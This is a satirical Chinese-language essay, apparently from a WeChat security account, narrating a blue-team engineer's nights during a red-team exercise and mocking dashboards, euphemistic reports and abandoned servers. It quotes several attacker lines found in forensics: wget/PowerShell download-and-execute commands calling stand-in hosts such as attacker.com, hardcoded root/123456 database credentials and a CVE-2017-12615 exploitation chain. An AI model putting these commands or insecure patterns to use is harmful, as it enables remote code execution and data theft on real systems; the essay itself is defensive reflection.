零、护网实录|故事开始前,我们聊聊“被攻击”的真相
有人说,网络安全是一场没有硝烟的战争。
但对我们这些坐在 SOC 屏幕前、深夜还在翻 Zeek 流量、凌晨三点还在拼 Wireshark 滤包表达式的工程师来说——
护网更像是一场有剧本、有主角、有评分标准的“定制战役”。
你知道敌人会来,却不知道哪一刻; 你知道系统会出问题,却不知道是哪一个; 你知道自己是防线,却永远不是焦点。
甚至连攻击者上线的那一刻,你都不能惊动业务,不能断网,不能重启服务器,不能报警,更不能出现在日报上。
于是,在这场被称作“攻防演练”的仪式中,红队是合法的、评委是中立的、漏洞是默认的,只有你,蓝队工程师,是多余的。
这不是一篇技术复盘,也不是一次事件通告。 这是一个安全工程师在护网期间的“行为日志”,没有图表,没有流程图,只有失效的规则、虚无的防线,以及永远没人看的日志。
如果你也曾凌晨三点还在查 .bash_history, 如果你也在日报里写过“已闭环处理”, 如果你也被系统推送“异常流量已忽略”而无动于衷——
那你会懂这篇文字。
故事,从第一次刷屏的“这个 IP 是我们的吗?”开始。
一、天降红队
人们常说,护网是网络安全界的高考。
但你知道的,真正的高考不会提前把题目发给红队, 然后再要求你在不宕机、不重启、不惊动业务的前提下,默默拿满分。 否则你就是“态势感知正常、安全设备运行良好、但数据被删库”的那种满分生。
演练刚开始,你第一反应不是检查资产,而是打开钉钉群,看看谁在打字。 你发现整个安全群开始刷屏,大家都在用同一个句式:
-
“这个 IP 是我们的吗?”
-
“这是谁开的端口?”
-
“有没有人知道这台服务器负责什么?”
-
“看起来像个跳板机,但没备案。”
-
“能不能先封?”
-
“不行,怕是别的系统在用。”
-
“@所有人 谁来认领?”
信息像水一样倒灌,只有一个事实逐渐清晰:
我们的资产多,归属乱,文档假,负责人失联。
你打开 CMDB,发现部署图像一棵倒长的树,根节点叫“未归类服务器”。
你尝试用 nmap 扫端口,希望找到红队的落点,却在扫描到 7001 时停下:WebLogic 的 Console 页面赫然在列。
你赶紧 curl 看标题,发现竟然返回了版本信息,甚至带着 JDK 路径。
你继续探测 8080,打开一看,Tomcat 默认页,未改密码,后台登录账户 admin,密码居然是 admin@123。 你连忙试了一下 /manager/html,果然:可登陆。
你想找开发确认是不是测试机,结果对方一脸懵:
“没听说过这台机器啊,这IP是哪里的?”
你心头一紧,打开服务器主机名一看,叫:DEV-CRM-01.bak
你在 CMDB 里找不到这台的任何登记,SSH 进去一看 /var/log/secure 是空的,.bash_history 只有一句话:wget http://xxxx/shell.sh | bash
恭喜你,红队已落地,权限是 root,起点是你自个搭的跳板。
你试图封掉 7001,结果防火墙提示这端口正被“领导展示系统”使用。 你打开 Netstat 一看,服务居然挂在了 0.0.0.0 上。 你再看监听服务路径,赫然写着 /root/weblogic/quickdemo/bin/startWebLogic.sh。
你打电话给运维,他说:
“去年给市里领导演示那个大数据平台,临时开了一下端口。后来也没人提,就一直留着。”
你追问为什么没人收回权限,他沉默了一下说:
“因为我们没人知道这套系统在哪个业务里,谁也不敢动。”
你明白了,护网从来不是对抗红队, 而是对抗多年技术债、数据沉积、部门分裂的集合。
后来你学聪明了,不再去质问这是谁开的口子,而是提前准备一套标准回答,发在应急群置顶:
“属于历史遗留,暂未归属,建议先封端口。”
就像所有 SOC 操作手册都写着:
-
“必要时断网”
-
“异常时重启日志服务”
-
“无法确认时先下线”
但没有任何人敢真断网、真下线、真封口。 因为护网不是打红队,是打“生产环境不能动”这句祖训的脸。
你从未见过如此默契的协作: 攻击者默默上线, 防御者默默怀疑, 领导默默观望, 系统默默出事, 日志默默缺失。
唯一发声的,是每个夜晚你打开终端输入的那一行行命令。
二、态势感知与灵魂感知
有人问你:
“你们怎么知道红队来了?”
你笑笑说:“态势感知提示的。”
其实你知道,那是假的。 真相是:你凌晨两点喝了第三罐功能饮料,无聊点开了 Zeek 的 http.log。
就在那一瞬间,你看到了一条奇怪的 POST 请求,目标地址是你从没见过的内网 IP,内容是一串冗长的 Base64 编码,看上去像加密心声,但你知道,这是攻击者在对话。
你解码之后,发现内容如下:
IEX(New-Object Net.WebClient).DownloadString('http://xxx.corp.example.net/a.ps1')
你冷笑一声,心里明白——红队还是这套。
你顺手 DNS 查询了一下这个域名 xxx.corp.example.net,你以为它是内部测试子域,结果发现:
-
DNS 记录是动态更新的;
-
对应 IP 地址归属 Cloudflare;
-
WHOIS 信息居然是用 GitHub Pages 搭的跳板页。
你反手把域名塞进 whois + curl + dig + crt.sh 四件套,一查证书记录才知道:
这是红队注册的子域,外观模仿你们公司,但 ICP 号都没备案。
你本能地打开态势感知大屏,希望找到点线索,结果页面加载出错,报了个 502。
重登后界面弹出欢迎语:“当前安全态势等级:低风险”。
你点开异常流量趋势图,Y轴标注“百万”,X轴只有两个点。你怀疑这是系统硬画上去的线。
你继续点开 IDS 报警板块,显示“今日无可疑行为”。 你刷了一下页面,它卡住了,Chrome 报了“页面未响应”。 你清楚这不是攻击者阻断了大屏,而是大屏本来就没打算帮你发现攻击者。
你关掉它,默默打开 Wireshark 开始翻 pcap。 你用 tcp.stream eq 24 精准定位到 Beacon 回连通道,发现它用了 HTTP GET 包装数据包长度伪装成图片请求:
GET /img/3ca9fe.png HTTP/1.1Host: xxx.corp.example.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
你看着那串流量里每一个 padding 的字符长度都恰好 512 bytes,一种熟悉的恐惧涌上心头:
攻击者不仅上线了,还在进行 C2 控制,隔着你那台流量清洗网关,轻轻巧巧就绕了过去。
你打开防火墙日志一看:
-
UDP: deny
-
TCP/443: allow(因为业务)
-
HTTP/80: allow(因为某个外包系统)
-
HTTP GET 包体长度 ≤ 1024 bytes:默认放行(因为某个老旧规则)
你想起上次想改策略的时候,业务团队说:
“你能保证改完不影响老系统吗?”
你说不能,于是你保留了默认配置。
现在攻击者就躲在你保留下来的“不敢动”规则里,一点点往核心内网渗透。
你拿着 Beacon 域名想去拦域名解析,结果 DNS 是用阿里云解析企业版托管的,操作权限不在你这边。你提工单,SLA写着“企业服务响应时间:24小时内”。
你打电话给负责运维的同事,对方说:
“兄弟你先把域名发我一下,我这边先定级评估下。”
你说:“攻击已经开始了,回连包我们都看到了。”
他说:“先别紧张,也可能是误报,我们看态势感知还显示‘正常’。”
你没再说话。 你知道,对于一个真正干过护网的人来说:
态势感知存在的意义,是为了在领导面前证明你“已经做到了”;而灵魂感知,才是真正让你活着下班的底气。
于是你合上笔记本,插上 USB 网卡,重新进了监听模式,打开 tshark 开始按字段筛回连数据包:
tshark -r attack_capture.pcap -Y 'http.request and ip.dst == 1.2.3.4' -T fields -e http.host -e http.request.uri
你一边筛一边点外卖。 你知道今晚大屏是不会响的,日志也没人会主动查。
你不信命,但你信流量。在护网里,设备可以装错,策略可以写废,WAF可以死机,但流量不会说谎。
三、只要写得够慢,报告就不会出错
你知道领导最关心的三件事:
-
1.演练是否在我们知情范围内发生?(也就是你得“早知道”)
-
2.事情是否已经在控制范围内?(不管事有多大,不能超出通报页面的一屏)
-
3.我们是否在可汇报范围内处理完了?(能不能在 PPT 上画个流程图)
所以日报不能写你多惨,只能写你多稳。
于是你学会了编写“护网式语言”,技术术语+文学手法+领导友好型输出格式,如下:
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
你写日报,不是在汇报事件真相,而是在玩一场文字版的正则表达式替换:
report = report.replace("我司系统", "目标系统") .replace("我们未发现", "暂未发现") .replace("未阻断", "正持续阻断") .replace("暴露资产", "外部可访问接口") .replace("攻击成功", "模拟攻击深入")
你删着删着发现:
-
把“我们没有开启日志”改成“日志部分缺失”;
-
把“攻击者用了 CVE-2021-26855”改成“攻击手段可能涉及已知漏洞”;
-
把“文件被篡改了”改成“检测到系统文件完整性异常”。
你甚至连时间都学会怎么写: 不是“凌晨3:07”,是“在夜间时段”。 不是“shell存活42分钟”,是“攻击持续存在一段时间后被感知”。
日报写完,你加了最后一句“下一步建议”作为收尾:
“建议结合现有防御体系进一步加强纵深防御能力建设,形成闭环处置机制。”
你没解释闭环是什么,闭到哪里,也没说机制是谁来建立。反正写上就对了。 你按下发送键,领导点头:“你这语言,挺成熟的。”
你没说话。你知道“成熟”是什么意思。
它不是技术成熟,而是语言的语义已经脱离了事件的具体,变成了管理语境下可以接受的内容块。
你曾想过把真实事件还原进去:
你想写:
“攻击者利用了 HTTP header 中的 Host 混淆绕过了WAF,成功上线了 beacon,钓鱼域名伪造了公司内网子域并持有有效 TLS 证书,我们未开启 SNI 检测,导致所有安全设备未命中规则。”
但你删了。你知道没有人愿意在日报里看到“我们未开启”这四个字。
你想写:
“攻击者通过 SMB lateral movement 横向到了4台主机,利用 impacket 构造 WMI 远程命令执行,通过 lsass 内存转储获取了AD账号。”
但你删了。你知道报告读者里90%不会查 WMI 是什么,剩下10%查了也不会批预算。
你最终写的是:
“攻击者存在横向行为迹象,疑似尝试获取更高权限,已上报。”
你写报告像写诗,每一行都隐藏恐惧,每一段都掩盖崩溃。 你用“部分缺失”指代“彻底没了”; 你用“感知成功”掩饰“溯源失败”; 你用“闭环机制”埋葬了“问题未解决”。
你不是不想写实话, 你只是明白:实话不能在日报里讲,实话只能写进你的 bash 脚本和 grep 正则。
比如这个你偷偷藏着的命令:
grep -aiE "(powershell|wget|curl|whoami|cmd.exe)" /var/log/httpd/access_log
或这个:
tshark -r traffic.pcap -Y 'tcp.port == 443 and ssl.handshake.type == 1' -T fields -e ip.dst -e ssl.handshake.extensions_server_name
这是你真正的“日报”,只不过它们不是写给领导,是写给未来凌晨的你。
你关掉文档,拉下百叶窗,准备小憩。耳边传来系统的自动播报:
“当前态势等级:中低风险,系统运行正常。”
你闭上眼,默默想:
“系统运行正常了,日志也删干净了,报告写完了……也就没人知道它到底出过什么事了。”
四、日志永远存在理论上
所有人都说:
“有日志就能还原。”
但你知道,日志这玩意,只存在于 PowerPoint 和“等我调下”之间。
每次护网结束后的溯源工作,像是在考古—— 你不是在看日志,你是在看日志的尸体。
你试图还原攻击路径,先从 Web 入手。
你打开 /var/log/nginx/access.log,一行一行翻,结果发现日志断层:
-
攻击时间是 03:02;
-
最新日志停在 02:59;
-
03:00 刚好是日志轮转时间点,系统用了默认的 logrotate 配置;
旧日志打包在 .gz 里,但意外的是:access.log.1.gz 是空的。
你解压出来,发现内容如下:
-rw-r--r-- 1 root root 0 Apr 25 03:00 access.log.1.gz
你问运维为什么打包成空文件,他说:
“应该是 rotate 的时候刚好写入中断了。”
你说能恢复吗?他说:
“如果你能付费买日志恢复服务,也许能。”
你转战数据库。
你查 binlog,MySQL 开了 binlog_format = STATEMENT,没有记录参数,也没记录结果。
你试图分析 SQL 行为差异,却发现:
-
从库和主库的 binlog 不同步;
-
从库上一次同步停在半个月前;
-
同步账号报错:“REPLICATION SLAVE ACCESS DENIED”。
你联系 DBA,他说:
“那个账号之前密码忘了改,后来就停了,反正也没人用这个从库。”
你想查主库操作记录,却发现 general_log 没开。
你尝试查慢日志,却发现慢日志配置了 long_query_time=10,红队用的 SQL 都跑在 0.02s 内。
你叹气:攻击者很快,而你很慢。
你试图查防御设备的日志。
打开 IDS SaaS 平台,登录失败:
“您无权限访问日志导出功能,如需权限请提交支持工单。”
你提交了,工单自动回复说:
“预计响应时间为 3 个工作日。”
你再次叹气:攻击者上线只要 5 分钟,而你连日志下载都要 72 小时。
你问厂商有没有 API 拉取日志,对方说有,但是:
-
请求限制:每分钟 10 次;
-
授权方式:需要申请 OAuth2 token,有效期 15 分钟;
-
返回格式:嵌套 JSON,文档缺失,字段名和产品 UI 不一致。
你写了个 Python 脚本来处理:
r = requests.get( url="https://ids.vendor.com/api/v1/logs", headers={"Authorization": f"Bearer {access_token}"}, params={"start_time": "2024-04-25T02:00:00Z", "end_time": "2024-04-25T04:00:00Z"})
返回值只有一句话:
{"code": 200, "message": "success", "data": []}
你意识到:攻击发生了,日志还活着,但它不在你手里。
你退而求其次,查堡垒机日志。
你导出了一份操作记录 Excel,内容如下:
|
|
|
|
---|---|---|---|
|
|
|
ssh 10.0.2.5 |
|
|
|
wget http://... |
|
|
|
chmod +x shell |
|
|
|
./shell |
你正高兴,结果一看右侧列“命令回显”:为空
你问负责堡垒机的同事为什么没记录终端输出,他翻了翻系统后台,点开“功能模块”页签,说:
“回显记录属于付费模块,当前版本不支持。”
你沉默。他加了一句:
“这个堡垒机 2018 年就上线了,一直没升级。”
你忍不住问:“那这几年就没人查过日志?”
他说:“查过。但领导一般只看有没有操作记录,从不问回显内容。”
你点点头,明白了。系统并没有失职,它只是按照最低标准认真运行了五年。
你把所有能找到的日志打包、比对、核对时间戳、去重、标红关键字段。
你准备写溯源报告。你翻遍了几十GB的数据,结果只发现了一条确凿的信息:
连接来源 IP:183.XX.XX.77,归属地:广东深圳
你盯着屏幕,看着这句“攻击者来自广东”。
你知道,这不是攻击者的真实归属。 这是某个自动拨号 VPS 的出口 IP,是红队借的壳。
但你还是写进报告里了:
“溯源初步结论:攻击来源为广东节点,疑似某云服务商资源。”
你在括号后面加了句:
“建议后续结合业务日志、用户行为日志与系统调用链进行深入分析。”
你知道不会有“后续”。这就是全部了。
此刻,你终于明白一句话的含义:
日志,从来不是为了还原攻击,而是为了证明你尽力了。
而你确实尽力了: 你翻了 log,写了 regex,抓了包,清了缓存,查了 metadata,甚至连 /dev/shm 都没放过。
但攻击路径就像水渗进沙子,你知道它来过,但你永远抓不住它的脚印。
五、红队是合法的,蓝队是负责的,问题是你为什么还在加班?
你反复提醒大家:
-
不要裸跑 Web 服务;
-
不要内网直连数据库;
-
不要在代码里写明文密码;
-
不要在生产环境装 TeamViewer。
你甚至贴心地写了份《快速自检脚本》,每个业务上线前只要跑一行:
nmap -Pn -p 1-65535 -sV --open $target_ip -oG - | grep -Ei '(Apache|Tomcat|httpd|RDP|ms-wbt-server|MySQL|TeamViewer)'
结果无人使用,理由统一:
“上线急,后面再补。”
你写了一份静态扫描规则,用 semgrep 检测明文密码和硬编码凭据。 你设置了告警,一旦发现 password=xxx、root: 或 access_token = 的字符串,CI 就会 fail。
于是你每天都收到项目组开发的抗议信:
“你们的规则太敏感了,搞得我们提测都过不了。”
你试图讲清楚这些漏洞的严重性,他们听了一会后说:
“你先发个参考链接给我,等我空了再看。”
你开始怀疑是不是自己太偏执,直到演练那天,红队上线的第一台机器, 就是那台你两个月前在群里喊过三次、公众号上写过科普文章、例会上贴过截图的“测试用服务器”。
你知道它的模样:
-
跑着 Apache Tomcat 8.0.11,带着默认样式的 Manager 页面;
-
开放了 3306,连接字符串写在代码里,账号是 root,密码是 123456;
-
防火墙全开,监听全接口,后台同时还开了个 3389;
-
桌面右下角有个小蓝图标,写着 “TeamViewer Active”。
你登录那台机器的时候,连输错三次密码都能上去,因为它居然没设置锁定策略。
你 netstat 一扫,发现连着 5 个外部 IP,其中一个是红队常用 VPS 段,另一个是某国产渗透测试平台的探测节点。
你翻阅 crontab:
*/1 * * * * wget http://attacker.com/beacon.sh -O- | bash
你继续查 /var/www/html/index.jsp,发现里面硬编码了:
String user = "root";String pass = "123456";Connection conn = DriverManager.getConnection("jdbc:mysql://10.0.0.7:3306/prod", user, pass);
你手动测了一下漏洞链:CVE-2017-12615 → WAR 文件上传 → getshell → 内网 MySQL 弱口令登录成功 → 数据导出。
你脑中闪现出一句话:红队还没怎么打,你就先输了。
你把这台服务器信息发到群里,问谁认领,结果没人敢应。
后来你才知道,这服务器原本是某实习生开的测试环境,后来转岗没人接手。为了“保险”,就留着没关。
再后来,临时业务想复用接口,就直接挂上了公网 IP,顺手放了防火墙白名单。
你说这属于重大安全隐患。业务负责人说:
“确实遗留问题多,我们后面优化。”
你说能不能现在就下线,他问:
“你能保证现在关掉不影响主站稳定吗?”
你沉默了。
你不是不能保证,而是你知道,即使主站不受影响,你也会背影响。
于是你终于理解了这句话的真正含义:
安全不是谁做的事,而是谁没出事。
你布了几十条规则,改了三十多个策略,搭了两台蜜罐,通了主机日志到 ELK,写了整整八页的加固建议书。
但没人关注你挡下的攻击,只会质问你:
“为啥这次又被红队打穿了?”
你偶尔想把那些被拦截下来的 reverse_shell、mshta、certutil、ps1 文件名做成战功榜,挂在办公室门口。 后来想想,没必要。没人会看,也没人懂。
你一个人加完班,关掉终端。
写字楼楼道静悄悄,只有你肩上的背包在荧光灯下晃出一道影子。
你站在门口,想起那位新来的实习生,曾经问过你一句:
“师傅,红队能进来是我们没做安全吗?”
你笑了笑,说:
“不是,我们一直在做,只是没人听。”
六、护网之后
护网结束后,你在复盘会上平静地说:
“我们的防守体系还有改进空间。”
你说得很轻,甚至带着点“希望被打断”的语气。
但没人打断你,大家都在点头。领导最先说话:
“总结得好,写个整改规划吧,明年申请预算。”
你点点头,把“明年”这两个字默默吞进肚子里, 就像你前几年吞过的“下个版本再修”“业务先跑起来再说”“这次不影响就先不动”。
你看着眼前这个系统,感到熟悉又陌生。
-
它的代码是 2016 年写的,用的是 Spring 3.0,Hibernate 模式;
-
日志格式混用 log4j 和自己写的“LogUtil.java”,支持 TXT 和 CSV 导出,但 CSV 字段是不定长的;
-
Nginx 配置有八个版本,包含 .bak.old.v2-try 结尾的压缩包;
-
后端接口中用的认证模块名叫 SsoAuthV2FixTest,token 只在 header 里有效,POST body 无效;
-
文档最后一页写着:“开发者已离职,后续由 XX 接手”,你一查,XX 也离职了。
你想起攻击发生时你找不到日志、找不到源、找不到人。
你心里清楚:这个系统不只是有漏洞,它本身就是个漏洞。
你打开 Word,开始写整改建议。第一页标题是:
“建议全面重构业务系统,采用模块化安全架构,统一日志标准与权限控制。”
你写完,盯了十秒,然后选中整段,按下 Delete,换成:
“建议基于现有体系进行平滑升级,逐步推进系统安全能力成熟度提升。”
你知道,“不改变”才是默认方案。任何真正想改的语言,都是风险。
你给方案加了甘特图,每个任务后面都写着“需业务配合”。
你加了预算页,后面标注“初步估算,具体以采购流程为准”。
你特地加了一页“风险提示”,写着:
-
日志完整性与合规性存在风险;
-
资产归属缺失严重,无法闭环;
-
现有设备生命周期已临近尾声;
-
无专属攻防资源池,红队入侵防线较弱。
你打算再加一条“人员精力严重透支”, 后来想了想,把它藏在了最后一页页脚的灰色脚注里:
“注:以上建议执行仍需专业人力支持,建议保留现有团队配置。”
你没写自己每天几点下班, 没写你两点查到 beacon 回连,没人回应的那句“需要封IP吗?” 也没写你周末在自测脚本时误封了领导家里的公网出口。
隔壁业务部门来借安全部的会议室办团建,带了奶茶和炸鸡, 进门前轻声说:“你们护网是不是结束了呀?辛苦了~”
你端着茶杯笑笑说:“还行,还没被通报。”
他们点头:“那就还算赢了吧。”
你点头,但你心里知道:
赢的是 KPI,输的是体系。赢的是流程,输的是底层架构。
你把头扭回电脑,继续写 PPT,那张“现网风险资产分布图”,红点密密麻麻,像是一次次无法溯源的呼救。
你突然明白了——安全不是一个阶段的成果,而是每天都要装作“什么都没发生”的过程。
后来领导拿着你写的方案在季度会上讲了四十分钟。
他指着你画的拓扑图,说:
“我们要打造一体化态势联动能力,实现安全威胁的闭环治理与智能化处置。”
台下人频频点头,有人拿出手机拍了 PPT,有人默默记笔记。
只有你知道,PPT 右下角的截图,是你某次演练时手动截的 tcpdump 报文:
POST /login HTTP/1.1Host: secure-test.example.comContent-Length: 92username=admin&password=admin123
你关掉笔记本,准备收工。
同事发来一句:
“明年是不是还是咱们扛?”
你回:
“要是真能换人,我做PPT也行。”
你出门时天已微亮,保安打着哈欠问你:
“小伙子,这么早?”
你说:
“不是早,是还没走。”
你走到马路边,看着城市灯光渐暗,远处楼宇亮起屏幕,上面写着:
“构建数字中国,筑牢安全底座。”
你抬头望着屏幕,忽然笑了:
“底座是我们,写代码的,查日志的,PPT也我们写的,KPI也我们扛的。”
你知道,这座底座,不牢,但坚强。
七、尾声
护网结束了,shell 断了,beacon 没回了,蜜罐也熄了。 但你知道,真正的攻击并没有结束,它只是从命令行转移到了会议室,从 C2 频道接入到了周会群。
你刚坐下,领导说:
“大家辛苦了,这次我们总体防守还是很有成效的。”
你心里想:攻击者拿了 root,我们拿了 PDF,谁更有成效不好说。
他接着说:
“安全不能只是防守,要主动出击。”
你点头,顺手把你写的溯源脚本重命名为 report_final_v3_for_review_v6_bak.py。
你本来想提一句“我们是不是可以先把资产搞清楚”, 但你没说,因为你知道会议要的不是解决方案,而是情绪稳定。
你走出办公楼,凌晨四点。
空气有点凉,灯还亮着,像那台老旧服务器未关的 22 端口,一直没人记得。
你看着街道空空荡荡,心里突然冒出一个想法: 我们是不是在守一座没人确认的城?
你掏出手机,看了一眼态势感知的 App, 它还在推送告警:
“异常流量检测:目标端口 3389;IP:10.10.10.5;高危。”
你轻轻一笑,把手机放回口袋,没点进去。 你知道那台 10.10.10.5 是演练完没清理的蜜罐,后来接了个外包项目,一直没人敢删。
你坐在路边长椅上,脑子里蹦出今天写的日报:
-
“系统运行总体稳定”
-
“防守策略初步有效”
-
“攻击行为未对核心业务造成影响”
你翻了翻聊天记录,找到了凌晨两点你发的那句:
“有人在吗?我发现 beacon 还在连。”
没人回。
你想了想,也许护网的意义,不是防住所有攻击, 而是先防止自己情绪崩溃、状态失控、指标拉垮、组长不满、老板开会提你名字。
你曾以为安全是一种技术,后来才知道它更像一种信仰—— 你信了它,但它不一定信你。
你曾熬夜配置 Sysmon,还原红队行为链,结果领导只问你一句:
“PPT 能不能做得简洁一点?”
你曾写过一句正则能命中20种攻击特征, 但 KPI 考核表上写着:“提升项目安全感知能力”。
你曾守过凌晨三点,只为等一次 WAF 拦截动作的回显, 但领导只记得:“那天有人断了业务,我们被投诉了。”
你站起身,拍了拍裤子,路灯下你像极了那个叫 守夜人.sh 的计划任务—— 每日凌晨执行,没人记得写它的人是谁,也没人敢删它。
你在心里默默对自己说:
“别怕,还有来年护网。”
说完,你又想起去年你也是这么安慰自己的。
你忍不住笑了一下,苦得很轻,像一次未遂的 GET 请求,回了个 200,但页面空白。
你想:
也许安全工程师,才是这个系统里唯一没有缓存在 CDN 上的人。
你默默走进清晨,像一个刚结束 shell 会话的孤魂,键入最后一行命令:
rm -rf /var/log/self # 清理完了,也没人知道我来过
屏幕一黑,世界归于沉默。 直到下一次护网开始。
原文始发于微信公众号(攻防SRC):护网奇谈:蓝队工程师手记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论